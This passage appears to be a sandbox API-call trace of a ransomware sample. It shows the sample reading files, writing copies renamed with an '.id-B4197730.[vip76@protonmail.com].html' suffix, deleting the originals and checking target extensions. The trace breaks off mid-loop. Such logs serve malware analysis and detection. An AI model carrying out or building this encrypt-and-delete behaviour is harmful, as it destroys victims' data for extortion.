	[0062.326] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0062.328] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0062.329] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.329] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0062.329] SetEndOfFile (hFile=0x364) returned 1
	[0062.329] CloseHandle (hObject=0x364) returned 1
	[0062.331] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.331] SetEndOfFile (hFile=0x2c0) returned 1
	[0062.332] CloseHandle (hObject=0x2c0) returned 1
	[0062.332] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.333] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1
	[0062.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0062.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0062.333] lstrlenW (lpString=".doc") returned 4
	[0062.333] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.333] lstrlenW (lpString=".docx") returned 5
	[0062.333] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.333] lstrlenW (lpString=".pdf") returned 4
	[0062.333] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.333] lstrlenW (lpString=".xls") returned 4
	[0062.333] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.333] lstrlenW (lpString=".xlsx") returned 5
	[0062.333] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.333] lstrlenW (lpString=".ppt") returned 4
	[0062.333] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0062.333] lstrlenW (lpString=".zip") returned 4
	[0062.333] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.333] lstrlenW (lpString=".rar") returned 4
	[0062.333] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.333] lstrlenW (lpString=".bz2") returned 4
	[0062.333] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.333] lstrlenW (lpString=".7z") returned 3
	[0062.334] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0062.334] lstrlenW (lpString=".dbf") returned 4
	[0062.334] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0062.334] lstrlenW (lpString=".1cd") returned 4
	[0062.334] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0062.334] lstrlenW (lpString=".jpg") returned 4
	[0062.334] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0062.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0062.334] lstrlenW (lpString=".doc") returned 4
	[0062.334] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.334] lstrlenW (lpString=".docx") returned 5
	[0062.334] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.334] lstrlenW (lpString=".pdf") returned 4
	[0062.334] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.334] lstrlenW (lpString=".xls") returned 4
	[0062.334] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.334] lstrlenW (lpString=".xlsx") returned 5
	[0062.334] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.334] lstrlenW (lpString=".ppt") returned 4
	[0062.334] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0062.334] lstrlenW (lpString=".zip") returned 4
	[0062.334] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.334] lstrlenW (lpString=".rar") returned 4
	[0062.334] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.334] lstrlenW (lpString=".bz2") returned 4
	[0062.335] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.335] lstrlenW (lpString=".7z") returned 3
	[0062.335] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0062.335] lstrlenW (lpString=".dbf") returned 4
	[0062.335] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0062.335] lstrlenW (lpString=".1cd") returned 4
	[0062.335] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0062.335] lstrlenW (lpString=".jpg") returned 4
	[0062.335] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.335] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.335] lstrlenW (lpString="DisplayIcon.ico") returned 15
	[0062.335] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.335] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=88533) returned 1
	[0062.335] CloseHandle (hObject=0x2c0) returned 1
	[0062.335] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80
	[0062.336] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.336] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.336] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.336] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.336] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0062.336] GetLastError () returned 0x0
	[0062.336] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x159d5, lpOverlapped=0x0) returned 1
	[0062.339] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x159e0, lpOverlapped=0x0) returned 1
	[0062.341] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.342] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0062.342] SetEndOfFile (hFile=0x364) returned 1
	[0062.342] CloseHandle (hObject=0x364) returned 1
	[0062.344] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.344] SetEndOfFile (hFile=0x2c0) returned 1
	[0062.345] CloseHandle (hObject=0x2c0) returned 1
	[0062.345] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.346] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1
	[0062.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0062.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0062.346] lstrlenW (lpString=".doc") returned 4
	[0062.346] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.346] lstrlenW (lpString=".docx") returned 5
	[0062.346] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0062.346] lstrlenW (lpString=".pdf") returned 4
	[0062.346] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.346] lstrlenW (lpString=".xls") returned 4
	[0062.346] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.346] lstrlenW (lpString=".xlsx") returned 5
	[0062.346] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0062.346] lstrlenW (lpString=".ppt") returned 4
	[0062.346] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0062.346] lstrlenW (lpString=".zip") returned 4
	[0062.346] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.346] lstrlenW (lpString=".rar") returned 4
	[0062.347] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.347] lstrlenW (lpString=".bz2") returned 4
	[0062.347] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.347] lstrlenW (lpString=".7z") returned 3
	[0062.347] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0062.347] lstrlenW (lpString=".dbf") returned 4
	[0062.347] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0062.347] lstrlenW (lpString=".1cd") returned 4
	[0062.347] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0062.347] lstrlenW (lpString=".jpg") returned 4
	[0062.347] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0062.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0062.347] lstrlenW (lpString=".doc") returned 4
	[0062.347] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.347] lstrlenW (lpString=".docx") returned 5
	[0062.347] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0062.347] lstrlenW (lpString=".pdf") returned 4
	[0062.347] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.347] lstrlenW (lpString=".xls") returned 4
	[0062.347] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.347] lstrlenW (lpString=".xlsx") returned 5
	[0062.347] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0062.347] lstrlenW (lpString=".ppt") returned 4
	[0062.347] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0062.347] lstrlenW (lpString=".zip") returned 4
	[0062.348] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.348] lstrlenW (lpString=".rar") returned 4
	[0062.348] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.348] lstrlenW (lpString=".bz2") returned 4
	[0062.348] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.348] lstrlenW (lpString=".7z") returned 3
	[0062.348] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0062.348] lstrlenW (lpString=".dbf") returned 4
	[0062.348] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0062.348] lstrlenW (lpString=".1cd") returned 4
	[0062.348] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0062.348] lstrlenW (lpString=".jpg") returned 4
	[0062.348] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.348] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.348] lstrlenW (lpString="Print.ico") returned 9
	[0062.348] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.350] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1150) returned 1
	[0062.350] CloseHandle (hObject=0x2c0) returned 1
	[0062.350] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80
	[0062.350] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.350] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.350] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.350] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.350] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0062.350] GetLastError () returned 0x0
	[0062.351] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0062.352] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x480, lpOverlapped=0x0) returned 1
	[0062.353] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.353] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0062.353] SetEndOfFile (hFile=0x364) returned 1
	[0062.353] CloseHandle (hObject=0x364) returned 1
	[0062.354] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.354] SetEndOfFile (hFile=0x2c0) returned 1
	[0062.355] CloseHandle (hObject=0x2c0) returned 1
	[0062.355] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.355] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1
	[0062.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0062.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0062.356] lstrlenW (lpString=".doc") returned 4
	[0062.356] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.356] lstrlenW (lpString=".docx") returned 5
	[0062.356] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0062.356] lstrlenW (lpString=".pdf") returned 4
	[0062.356] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.356] lstrlenW (lpString=".xls") returned 4
	[0062.356] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.356] lstrlenW (lpString=".xlsx") returned 5
	[0062.356] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0062.356] lstrlenW (lpString=".ppt") returned 4
	[0062.356] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0062.356] lstrlenW (lpString=".zip") returned 4
	[0062.356] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.356] lstrlenW (lpString=".rar") returned 4
	[0062.356] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.356] lstrlenW (lpString=".bz2") returned 4
	[0062.356] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.356] lstrlenW (lpString=".7z") returned 3
	[0062.356] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0062.356] lstrlenW (lpString=".dbf") returned 4
	[0062.356] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0062.356] lstrlenW (lpString=".1cd") returned 4
	[0062.356] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0062.357] lstrlenW (lpString=".jpg") returned 4
	[0062.357] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0062.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0062.357] lstrlenW (lpString=".doc") returned 4
	[0062.357] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.357] lstrlenW (lpString=".docx") returned 5
	[0062.357] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0062.357] lstrlenW (lpString=".pdf") returned 4
	[0062.357] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.357] lstrlenW (lpString=".xls") returned 4
	[0062.357] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.357] lstrlenW (lpString=".xlsx") returned 5
	[0062.357] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0062.357] lstrlenW (lpString=".ppt") returned 4
	[0062.357] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0062.357] lstrlenW (lpString=".zip") returned 4
	[0062.357] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.357] lstrlenW (lpString=".rar") returned 4
	[0062.357] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.357] lstrlenW (lpString=".bz2") returned 4
	[0062.357] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.357] lstrlenW (lpString=".7z") returned 3
	[0062.357] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0062.357] lstrlenW (lpString=".dbf") returned 4
	[0062.357] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0062.357] lstrlenW (lpString=".1cd") returned 4
	[0062.357] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0062.358] lstrlenW (lpString=".jpg") returned 4
	[0062.358] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.358] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.358] lstrlenW (lpString="Rotate1.ico") returned 11
	[0062.358] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.358] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=894) returned 1
	[0062.358] CloseHandle (hObject=0x2c0) returned 1
	[0062.358] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80
	[0062.358] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.358] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.358] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.358] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.358] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0062.359] GetLastError () returned 0x0
	[0062.359] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0062.771] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x380, lpOverlapped=0x0) returned 1
	[0062.773] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.773] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xea, lpOverlapped=0x0) returned 1
	[0062.773] SetEndOfFile (hFile=0x364) returned 1
	[0062.773] CloseHandle (hObject=0x364) returned 1
	[0062.774] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.774] SetEndOfFile (hFile=0x2c0) returned 1
	[0062.777] CloseHandle (hObject=0x2c0) returned 1
	[0062.777] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.777] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1
	[0062.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0062.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0062.777] lstrlenW (lpString=".doc") returned 4
	[0062.777] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.777] lstrlenW (lpString=".docx") returned 5
	[0062.777] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1
	[0062.777] lstrlenW (lpString=".pdf") returned 4
	[0062.777] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.778] lstrlenW (lpString=".xls") returned 4
	[0062.778] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
